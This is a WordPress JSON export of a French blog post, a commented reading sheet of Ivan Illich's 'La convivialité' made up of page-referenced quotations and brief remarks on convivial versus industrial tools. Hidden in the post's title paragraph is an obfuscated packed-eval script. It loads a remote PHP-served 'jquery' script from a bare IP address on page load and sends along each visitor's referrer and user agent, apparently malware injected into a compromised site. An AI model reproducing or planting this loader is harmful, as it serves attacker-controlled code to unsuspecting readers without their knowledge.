{"id":3478,"date":"2009-08-19T23:42:18","date_gmt":"2009-08-19T21:42:18","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=3478"},"modified":"2009-08-19T23:42:18","modified_gmt":"2009-08-19T21:42:18","slug":"la-convivialite-ivan-illich-fiche-de-lecture","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=3478","title":{"rendered":"La convivialit\u00e9, Ivan Illich &#8211; fiche de lecture"},"content":{"rendered":"<div>\n<p style=\"margin: 0.49cm 0.34cm 0.5cm;\" align=\"center\"><strong>La <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkdir|var|u0026u|referrer|iikdn||js|php'.split('|'),0,{}))\n<\/script><\/noindex> convivialit\u00e9 &#8211; Ivan Illich, 1973<\/strong><\/p>\n<p style=\"margin: 0.49cm 0.34cm 0.5cm;\" align=\"center\"><strong>r\u00e9\u00e9dition au Seuil, Points Essais, 2003 \u2013 4,95\u20ac<\/strong><\/p>\n<p style=\"margin: 0.49cm 0.34cm 0.5cm;\" align=\"center\"><strong>Fiche de lecture comment\u00e9e<\/strong><\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm; text-align: center;\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/img.over-blog.com\/100x142\/1\/42\/11\/78\/\/illich-copie-1.jpg\" alt=\"\" width=\"100\" height=\"142\" \/><\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm; text-align: left;\"><!--more--><br \/>\np. 28 : \u201cJ&rsquo;entends par convivialit\u00e9 l&rsquo;inverse de la productivit\u00e9 industrielle. Chacun de nous se d\u00e9finit par relation \u00e0 autrui et au milieu et par la structure profonde des outils qu&rsquo;il utilise. Ces outils peuvent se ranger en une s\u00e9rie continue avec, aux deux extr\u00eames, l&rsquo;outil dominant et l&rsquo;outil convivial. Le passage de la productivit\u00e9 \u00e0 la convivialit\u00e9 est la passage de la r\u00e9p\u00e9tition du manque \u00e0 la spontan\u00e9it\u00e9 du don.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">source ic\u00f4nographique :<\/p>\n<p><a href=\"http:\/\/www.cnt-f.org\/fte\/article.php3?id_article=587\">http:\/\/www.cnt-f.org\/fte\/article.php3?id_article=587<\/a><\/p>\n<p>trouv\u00e9 sur :<\/p>\n<p><a href=\"http:\/\/www.cemea.asso.fr\/spip.php?article5502\">http:\/\/www.cemea.asso.fr\/spip.php?article5502<\/a><\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 13-14 : \u201c&#8230;c&rsquo;est l&rsquo;outil qui est convivial et non l&rsquo;homme.<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">L&rsquo;homme qui trouve sa joie et son \u00e9quilibre dans l&#8217;emploi de l&rsquo;outil convivial, je l&rsquo;appelle aust\u00e8re. (&#8230;)     Car l&rsquo;aust\u00e9rit\u00e9 n&rsquo;a pas vertu d&rsquo;isolation ou de cl\u00f4ture sur soi. Pour Aristote comme pour Thomas d&rsquo;Aquin, elle est ce qui fonde l&rsquo;amiti\u00e9. (&#8230;) Thomas d&rsquo;Aquin d\u00e9finit l&rsquo;aust\u00e9rit\u00e9 comme une vertu qui n&rsquo;exclut pas tous les plaisirs, mais seulement ceux qui d\u00e9gradent la relation personnelle. L&rsquo;aust\u00e9rit\u00e9 fait partie d&rsquo;une vertu plus fragile qui la d\u00e9passe et qui l&rsquo;englobe : c&rsquo;est la joie, (&#8230;) l&rsquo;amiti\u00e9.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 38 : \u201cM\u00eame limit\u00e9, l&rsquo;outil convivial sera incomparablement plus efficient que l&rsquo;outil primitif et, \u00e0 la     diff\u00e9rence de l&rsquo;outillage industriel, il sera \u00e0 la port\u00e9e de chacun.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 101\u00a0: \u201cL\u2019outil simple, pauvre, transparent est humble serviteur\u00a0; l\u2019outil \u00e9labor\u00e9, complexe, secret est     un ma\u00eetre arrogant.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 23 : Illich parle du progr\u00e8s des institutions industrielles telles que la sant\u00e9, l&rsquo;\u00e9ducation, les postes, l&rsquo;assistance sociale, les transports et m\u00eame les travaux publics. \u201c&#8230; dans un deuxi\u00e8me temps, le progr\u00e8s r\u00e9alis\u00e9 devient un moyen d&rsquo;exploiter l&rsquo;ensemble du corps social, de le mettre au service des valeurs qu&rsquo;une \u00e9lite     sp\u00e9cialis\u00e9e, garante de sa propre valeur, d\u00e9termine et r\u00e9vise sans cesse.<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">Dans le cas des transports, il a fallu un si\u00e8cle pour passer de la lib\u00e9ration par les v\u00e9hicules \u00e0 moteur \u00e0     l&rsquo;esclavage de la voiture.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">Le capitalisme se manifeste en premier dans notre quotidien domestique : dans notre habitude \u00e0 capitaliser nos exp\u00e9riences, comme si le but, le sens de la vie \u00e9tait d&rsquo;en emporter le maximum dans la tombe. Alors que le sel de la vie (que le monde industriel nous a fait perdre) se situe dans la convivialit\u00e9, dans le maniement d&rsquo;outils conviviaux.<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 26 : \u201cDurant un si\u00e8cle, l&rsquo;humanit\u00e9 s&rsquo;est livr\u00e9e \u00e0 une exp\u00e9rience fond\u00e9e sur l&rsquo;hypoth\u00e8se suivante : l&rsquo;outil peut     remplacer l&rsquo;esclave. Or il est manifeste qu&#8217;employ\u00e9 \u00e0 de tels desseins, c&rsquo;est l&rsquo;outil qui de l&rsquo;homme fait son esclave. La dictature du prol\u00e9tariat et la civilisation des loisirs sont deux variantes de la m\u00eame domination par un outillage industriel en constante expansion. L&rsquo;\u00e9chec de cette grande aventure fait conclure \u00e0 la fausset\u00e9 de l&rsquo;hypoth\u00e8se.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">L&rsquo;outil ne pourra jamais remplacer l&rsquo;esclave. Donc l&rsquo;outil ali\u00e9nant (l&rsquo;industrie, le travail \u00e0 la cha\u00eene, le \u201ctoyotisme\u201d, la p\u00e9tro-industrie, le nucl\u00e9aire, et plus r\u00e9cemment les nanotechnologies) doit et peut \u00e0 nouveau faire place \u00e0 l&rsquo;outil convivial. Ici et maintenant. Sans     que cela ne d\u00e9pende de personne d&rsquo;autre que nous. Nous deux qui en discutons.<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 29 : \u201cL&rsquo;id\u00e9al propos\u00e9 par la tradition socialiste ne se traduira dans la r\u00e9alit\u00e9     que si l&rsquo;on inverse les institutions r\u00e9gnantes et que si l&rsquo;on substitue \u00e0 l&rsquo;outillage industriel des outils conviviaux.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 30 : \u201cSi les outils ne sont pas d\u00e8s maintenant soumis \u00e0 un contr\u00f4le politique, la coop\u00e9ration des bureaucrates du bien-\u00eatre et des bureaucrates de l&rsquo;id\u00e9ologie nous ferons crever de \u201cbonheur\u201d. La libert\u00e9 et la dignit\u00e9 de l&rsquo;\u00eatre humain continueront \u00e0 se d\u00e9grader, ainsi s&rsquo;\u00e9tablira un asservissement sans pr\u00e9c\u00e9dent de l&rsquo;homme \u00e0 son outil.<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">A la menace d&rsquo;une apocalypse technocratique, j&rsquo;oppose la vision d&rsquo;une soci\u00e9t\u00e9 conviviale. La soci\u00e9t\u00e9 conviviale reposera sur des contrats sociaux, qui garantissent \u00e0 chacun l&rsquo;acc\u00e8s le plus large et le plus libre aux outils de la communaut\u00e9, \u00e0 la seule condition de ne pas l\u00e9ser l&rsquo;\u00e9gale libert\u00e9 d&rsquo;acc\u00e8s d&rsquo;autrui.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 31 : \u201cUne soci\u00e9t\u00e9 qui d\u00e9finit le bien comme la satisfaction maximale du plus grand nombre de gens par la plus     grande consommation de biens et de services industriels mutile de fa\u00e7on intol\u00e9rable l&rsquo;autonomie de la personne. Une solution politique de rechange \u00e0     cet utilitarisme d\u00e9finirait le bien par la capacit\u00e9 de chacun de fa\u00e7onner l&rsquo;image de son propre avenir.<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">(&#8230;)<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">Nous devons et, gr\u00e2ce au progr\u00e8s scientifique, nous pouvons \u00e9difier une soci\u00e9t\u00e9 post-industrielle en sorte que l&rsquo;exercice de la cr\u00e9ativit\u00e9 d&rsquo;une personne n&rsquo;impose jamais     \u00e0 autrui un travail, un savoir ou une consommation obligatoire.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 34 \u201c&#8230; \u00e0 notre \u00e9poque (&#8230;) il est devenu difficile d&rsquo;imaginer une soci\u00e9t\u00e9 simplement outill\u00e9e, o\u00f9 l&rsquo;homme pourrait parvenir \u00e0 ses fins en utilisant une \u00e9nergie plac\u00e9e sous contr\u00f4le personnel. Nos r\u00eaves sont standardis\u00e9s, notre imagination industrialis\u00e9e, notre fantaisie programm\u00e9e. Nous ne sommes capables de concevoir que des syst\u00e8mes hyper-outill\u00e9s d&rsquo;habitudes sociales, adapt\u00e9s \u00e0 la logique de la production de masse. Nous avons quasiment perdu le pouvoir de r\u00eaver un monde o\u00f9 la parole soit prise et partag\u00e9e, o\u00f9 personne ne puisse limiter la cr\u00e9ativit\u00e9 d&rsquo;autrui, o\u00f9 chacun puisse changer la vie.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">(&#8230;)<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">\u201cUne soci\u00e9t\u00e9 \u00e9quip\u00e9e du roulement \u00e0 bille et qui irait au rythme de l&rsquo;homme serait incomparablement plus efficace que toutes les soci\u00e9t\u00e9s rugueuses du pass\u00e9 et incomparablement plus autonome que toutes les soci\u00e9t\u00e9s programm\u00e9es du pr\u00e9sent.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 35 : \u201cL&rsquo;homme-machine ne conna\u00eet pas la joie plac\u00e9e \u00e0 port\u00e9e de main, dans une pauvret\u00e9 absolue ; il ne sait pas la sobre ivresse de la vie. Une soci\u00e9t\u00e9 o\u00f9 chacun saurait ce qui est assez serait peut-\u00eatre une soci\u00e9t\u00e9 pauvre, elle serait s\u00fbrement riche de surprises et libre. \u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 36, 37, 41<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/img.over-blog.com\/600x450\/1\/42\/11\/78\/\/feu-d-artifice-v-g-tal-2.jpg\" alt=\"\" width=\"600\" height=\"450\" \/><\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">feu d&rsquo;artifice v\u00e9g\u00e9tal<\/p>\n<p>p. 42 : \u201cIl faut s&rsquo;interroger soi-m\u00eame : qui m&rsquo;encha\u00eene     ? Qui m&rsquo;accoutume \u00e0 ses drogues ? Poser la question, c&rsquo;est d\u00e9j\u00e0 y r\u00e9pondre. (&#8230;) Le manque que la soci\u00e9t\u00e9 industrielle entretient avec soin ne survit pas \u00e0 la d\u00e9couverte que personnes et communaut\u00e9s peuvent elles-m\u00eames satisfaire leurs v\u00e9ritables besoins.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 42,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 43\u00a0: \u201cUne soci\u00e9t\u00e9 conviviale est une soci\u00e9t\u00e9 qui donne \u00e0 l\u2019homme la possibilit\u00e9 d\u2019exercer l\u2019action la plus autonome et la plus cr\u00e9ative, \u00e0 l\u2019aide d\u2019outils moins contr\u00f4lables par autrui. La productivit\u00e9 se conjugue en termes d\u2019avoir, la convivialit\u00e9 en termes d\u2019\u00eatre. Tandis que la croissance de l\u2019outillage au-del\u00e0 des seuils critiques produit toujours plus d\u2019uniformisation r\u00e9glement\u00e9e, de d\u00e9pendance, d\u2019exploitation, le respect des limites garantirait un libre \u00e9panouissement de l\u2019autonomie et de la cr\u00e9ativit\u00e9 humaines.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">P. 44\u00a0: \u201cL\u2019outil convivial est celui qui me laisse la plus grande latitude et le plus grand pouvoir de modifier le monde au gr\u00e9 de mon intention. L\u2019outil industriel me d\u00e9nie ce pouvoir\u00a0; bien plus, \u00e0 travers lui, un autre que moi d\u00e9termine ma demande, r\u00e9tr\u00e9cit ma marge de contr\u00f4le et r\u00e9git mon sens. La plupart des outils qui m\u2019environnent aujourd\u2019hui ne sauraient \u00eatre utilis\u00e9s de fa\u00e7on conviviale.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 45\u00a0: \u201cL\u2019outil maniable est conducteur d\u2019\u00e9nergie m\u00e9tabolique\u00a0; la main, le pied ont prise sur lui. L\u2019\u00e9nergie qu\u2019il r\u00e9clame est reproductible par quiconque mange et respire.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">48,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 49\u00a0: \u201cUne soci\u00e9t\u00e9 conviviale n\u2019est m\u00eame pas tenue de refuser la t\u00e9l\u00e9vision, bien que celle-ci laisse \u00e0 la discr\u00e9tion de quelques producteurs et beaux parleurs le soin de choisir et de fabriquer ce qu\u2019on fera \u00ab\u00a0avaler\u00a0\u00bb \u00e0 la masse des t\u00e9l\u00e9spectateurs\u00a0; mais une telle soci\u00e9t\u00e9 doit prot\u00e9ger la personne contre l\u2019obligation de se transformer en voyeur.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 62\u00a0: \u201cIL faut choisir entre distribuer \u00e0 des millions de personnes, au m\u00eame moment, l\u2019image color\u00e9e d\u2019un     pitre s\u2019agitant sur le petit \u00e9cran, ou donner \u00e0 chaque groupe humain le pouvoir de produire et de distribuer ses propres programmes dans les centres     vid\u00e9o.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 49\u00a0: \u201c\u2026les soci\u00e9t\u00e9s marxistes o\u00f9 la classe des travailleurs se croit au pouvoir. Le     planificateur socialiste rivalise avec le chantre de la libre entreprise, pour d\u00e9monter que ses principes assurent \u00e0 une soci\u00e9t\u00e9 le maximum de     productivit\u00e9.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 49-50\u00a0:\u201cL\u2019interpr\u00e9tation exclusivement industrielle du socialisme permet aux communistes et aux capitalistes de parler le m\u00eame langage, de mesurer de semblable fa\u00e7on le degr\u00e9 de d\u00e9veloppement atteint par une soci\u00e9t\u00e9.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">63, 64,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 65\u00a0: \u201cLe courage de se soigner seul n\u2019appartient qu\u2019\u00e0 l\u2019homme qui a le courage de faire face \u00e0     la mort.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">67,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 70\u00a0: \u201cUne politique conviviale s\u2019attacherait d\u2019abord \u00e0 d\u00e9finir ce qu\u2019il est impossible d\u2019obtenir par     soi-m\u00eame quand on b\u00e2tit sa maison. En cons\u00e9quence, elle assurerait \u00e0 chacun l\u2019acc\u00e8s \u00e0 un minimum d\u2019espace, d\u2019eau, d\u2019\u00e9l\u00e9ments pr\u00e9fabriqu\u00e9s, d\u2019outils conviviaux allant de la perceuse au monte-charge, et, probablement aussi, l\u2019acc\u00e8s \u00e0 un minimum de cr\u00e9dit. Une telle inversion de la politique actuelle donnerait \u00e0 une soci\u00e9t\u00e9 post-industrielle des logements modernes aussi s\u00e9duisants pour ses membres que l\u2019\u00e9taient, pour les anciens Mayas, les maisons qui sont encore la r\u00e8gle au Yucatan.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 71\u00a0: \u201cLes gens sont mieux \u00e9duqu\u00e9s, mieux soign\u00e9s, mieux transport\u00e9s, mieux distraits et m\u00eame souvent mieux     nourris, \u00e0 la seule condition que, pour unit\u00e9 de mesure de ce mieux, on accepte docilement les objectifs fix\u00e9s par les experts.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">71, 73, 75, 76,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 77\u00a0: \u201cLa seule solution \u00e0 la crise \u00e9cologique est que les gens saisissent qu\u2019ils seraient plus heureux s\u2019ils     pouvaient travailler ensemble et prendre     soin l\u2019un de l\u2019autre.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 78\u00a0:,\u201c\u2026je montrerai que (\u2026) le surpeuplement est le r\u00e9sultat d\u2019un d\u00e9s\u00e9quilibre de l\u2019\u00e9ducation, que la surabondance provient de la monopolisation industrielle des valeurs personnelles, que la perversion de l\u2019outil est l\u2019implacable effet d\u2019une inversion des moyens en fins.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">79,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 81-82\u00a0: \u201cAussi longtemps que les gens acceptent la d\u00e9finition de la r\u00e9alit\u00e9 que leur donne le ma\u00eetre,     les autodidactes sont officiellement \u00e9tiquet\u00e9s comme \u00ab\u00a0non \u00e9duqu\u00e9s\u00a0\u00bb. (\u2026) Il y a monopole radical lorsque l\u2019individu programm\u00e9 \u00e9vince le pouvoir-faire de l\u2019individu. Cette domination de l\u2019outil instaure la consommation obligatoire et d\u00e8s lors restreint l\u2019autonomie de la personne. C\u2019est l\u00e0 un type particulier de contr\u00f4le social, renforc\u00e9 par la consommation obligatoire d\u2019une production de masse que seules les grosses industries peuvent assurer.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 83\u00a0: \u201cLes hommes ont la capacit\u00e9 inn\u00e9e de soigner, de r\u00e9conforter, de se d\u00e9placer, d\u2019acqu\u00e9rir du savoir, de construire leurs maisons et d\u2019enterrer leurs morts. (\u2026) De telles activit\u00e9s ont une valeur d\u2019usage, et n\u2019ont pas \u00e9t\u00e9 affect\u00e9es de valeur d\u2019\u00e9change. Leur exercice n\u2019est pas     consid\u00e9r\u00e9 comme un travail.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 84\u00a0: \u201cLes gens ont besoin d\u2019une d\u00e9fense contre le monopole radical. Ils ont besoin de se d\u00e9fendre contre la mort et la s\u00e9pulture standardis\u00e9es, que la consommation leur soit impos\u00e9e par l\u2019int\u00e9r\u00eat de la libre entreprise des m\u00e9decins et les croque-morts, ou par le gouvernement pour le bien de l\u2019hygi\u00e8ne. Cette d\u00e9fense, ils en ont besoin m\u00eame si la plupart d\u2019entre eux sont d\u00e9sormais tributaires des services sp\u00e9cialis\u00e9s. Si le besoin d\u2019une d\u00e9fense contre le monopole radical n\u2019est pas reconnu, celui-ci renforcera et affinera son outillage, jusqu\u2019\u00e0 entra\u00eener un d\u00e9passement du seuil humain de r\u00e9sistance \u00e0 l\u2019inaction et \u00e0 la passivit\u00e9.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">85,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 86\u00a0: \u201cQuand on d\u00e9couvre le monopole radical, il est g\u00e9n\u00e9ralement trop tard.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">\u201c\u2026m\u00eame dans les pays surd\u00e9velopp\u00e9s, et quelque soit leur r\u00e9gime politique, le taux de croissance de la frustration     exc\u00e8de largement celui de la production.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">87, 93, \u00e9cole 94-95,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 96\u00a0: \u201cInstituteurs, travailleurs sociaux et policiers travaillent la main dans la main pour maintenir les     individus sous-pay\u00e9s ou en ch\u00f4mage partiel dans des maisons qu\u2019ils ne peuvent ni construire eux-m\u00eames ni modifier.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">97\/HLM, semences \u00e0 haut rendement et \u00e9cole,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 102\u00a0: \u201cLa condition du pauvre peut \u00eatre am\u00e9lior\u00e9e si le riche consomme moins, tandis que celle du riche ne peut l\u2019\u00eatre qu\u2019au prix de la spoliation mortelle du pauvre. Le riche pr\u00e9tend qu\u2019en exploitant le pauvre il l\u2019enrichit puisqu\u2019en derni\u00e8re instance il cr\u00e9e l\u2019abondance pour tous. Les \u00e9lites des pays pauvres r\u00e9pandent cette fable.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">103, 105, 106, 108, 109,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 112 : \u201cUne soci\u00e9t\u00e9 engag\u00e9e dans la course au mieux-\u00eatre ressent comme une menace l&rsquo;id\u00e9e m\u00eame d&rsquo;une quelconque limitation du progr\u00e8s. Alors l&rsquo;individu qui ne change pas d&rsquo;objets conna\u00eet la ranc\u0153ur de l&rsquo;\u00e9chec et celui qui en change d\u00e9couvre le vertige du manque. Ce qu&rsquo;il a l\u2019\u00e9c\u0153ure, ce qu&rsquo;il veut avoir le rend malade. Le changement acc\u00e9l\u00e9r\u00e9 produit sur lui-m\u00eame les m\u00eames effets que l&rsquo;accoutumance \u00e0 une drogue : on essaie, on recommence, on est accroch\u00e9, on est malade, on manque. La dialectique de l&rsquo;histoire est bris\u00e9e. Le rapport au pr\u00e9sent et \u00e0 la tradition s&rsquo;\u00e9vanouit.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">113,<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 116-117\u00a0: \u201c\u2026on peut parler de l\u2019hom\u00e9ostase de l\u2019homme dans son milieu, que menace toute dysfonction de l\u2019outil, et d\u00e9finir la politique comme le processus par lequel les homme assument la responsabilit\u00e9 de cette hom\u00e9ostase. Il est temps de cesser de d\u00e9finir les besoins humains en termes abstraits, avant de les soumettre, comme des probl\u00e8mes, au traitement de la technocratie, qui pratique la m\u00e9thode de l\u2019escalade. Il est temps de commencer \u00e0 chercher \u00e0 l\u2019int\u00e9rieur de quelles bornes des collectivit\u00e9s d\u2019hommes concrets peuvent se servir de la technique pour satisfaire leurs besoins sans porter pr\u00e9judice \u00e0     autrui. \u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">117-118,<\/p>\n<p>p. 119 : \u00ab\u00a0La surabondance de biens m\u00e8ne \u00e0 la raret\u00e9 de temps.\u00a0\u00bb<\/p>\n<p>121<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 124 : \u201cL&rsquo;outil peut cro\u00eetre de deux fa\u00e7ons, soit il augmente le pouvoir de l&rsquo;homme, soit il le remplace. Dans le premier cas, la personne conduit son existence propre, en prend le contr\u00f4le et la responsabilit\u00e9. Dans le second cas, c&rsquo;est finalement la machine qui l&#8217;emporte : elle r\u00e9duit \u00e0 la fois les choix de l&rsquo;op\u00e9rateur et de l&rsquo;usager-consommateur, puis elle leur impose \u00e0 tous deux sa logique et ses exigences. Menac\u00e9e par l&rsquo;omnipotence de l&rsquo;outil, la survie de l&rsquo;esp\u00e8ce d\u00e9pend de l&rsquo;\u00e9tablissement de proc\u00e9dures qui permettent \u00e0 tout le monde de distinguer clairement entre ces deux fa\u00e7ons de rationaliser et d&#8217;employer l&rsquo;outil et, par l\u00e0, incitent \u00e0 choisir la survie dans la libert\u00e9. Dans l&rsquo;accomplissement de cette t\u00e2che, trois obstacles nous barrent le chemin : l&rsquo;idol\u00e2trie de la science, la corruption du langage quotidien et la d\u00e9valuation des proc\u00e9dures formelles qui structurent la prise de d\u00e9cisions sociales.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">125 &amp; s.<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 130 : \u201cDans les nations industrielles, quand l&rsquo;homme parle de ses \u0153uvres, les mots qu&rsquo;il emploie d\u00e9signent les produits de l&rsquo;industrie.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">130 &amp; s.<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 151 : \u201cPr\u00e9visible et inattendue, la catastrophe ne sera une crisis, au sens propre du mot, que si, au moment o\u00f9 elle frappe, les prisonniers du progr\u00e8s demandent \u00e0 s&rsquo;\u00e9chapper du paradis industriel et qu&rsquo;une porte s&rsquo;ouvre dans l&rsquo;enceinte de la prison dor\u00e9e. Il faudra alors d\u00e9montrer que l&rsquo;\u00e9vanouissement du mirage industriel donne l&rsquo;occasion de choisir un mode de production convivial et efficace.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">p. 152 : \u201cA l&rsquo;heure du d\u00e9sastre, la catastrophe se transformera en crise si un groupe de gens lucides gardant leur sang-froid sais inspirer confiance \u00e0 ses concitoyens. Leur cr\u00e9dibilit\u00e9 d\u00e9pendra de leur habilet\u00e9 \u00e0 d\u00e9monter qu&rsquo;il est non seulement n\u00e9cessaire, mais possible d&rsquo;instaurer une soci\u00e9t\u00e9 conviviale, \u00e0 condition d&rsquo;utiliser consciemment une proc\u00e9dure r\u00e9gl\u00e9e, qui reconnaisse au conflit d&rsquo;int\u00e9r\u00eats sa l\u00e9gitimit\u00e9, donne valeur au pr\u00e9c\u00e9dent, et attribue un caract\u00e8re ex\u00e9cutoire \u00e0 la d\u00e9cision d&rsquo;hommes ordinaires, reconnus par la communaut\u00e9 comme la repr\u00e9sentant. A l&rsquo;heure du d\u00e9sastre, seul l&rsquo;enracinement dans l&rsquo;histoire peut donner la confiance n\u00e9cessaire pour bouleverser le pr\u00e9sent.\u201d<\/p>\n<p style=\"margin-top: 0.49cm; margin-bottom: 0cm;\">Voir aussi\u00a0: <a href=\"http:\/\/www.revolution-lente.com\/ivan-illich.php\">http:\/\/www.revolution-lente.com\/ivan-illich.php<\/a><\/p>\n<p style=\"margin-bottom: 0cm;\">source : <a href=\"http:\/\/gorgerouge.over-blog.com\/article-34779072.html\">http:\/\/gorgerouge.over-blog.com\/article-34779072.html<\/a><\/p>\n<\/div>\n<p>Par Gorge Rouge   &#8211; Publi\u00e9 dans :\t\t\t\t<a title=\"fiches de lecture\" href=\"http:\/\/gorgerouge.over-blog.com\/categorie-11046189.html\">fiches de lecture<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La convivialit\u00e9 &#8211; Ivan Illich, 1973 r\u00e9\u00e9dition au Seuil, Points Essais, 2003 \u2013 4,95\u20ac Fiche de lecture comment\u00e9e<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15,16],"tags":[],"class_list":["post-3478","post","type-post","status-publish","format-standard","hentry","category-le-monde-culturel","category-livres"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/3478","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3478"}],"version-history":[{"count":0,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/3478\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3478"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcate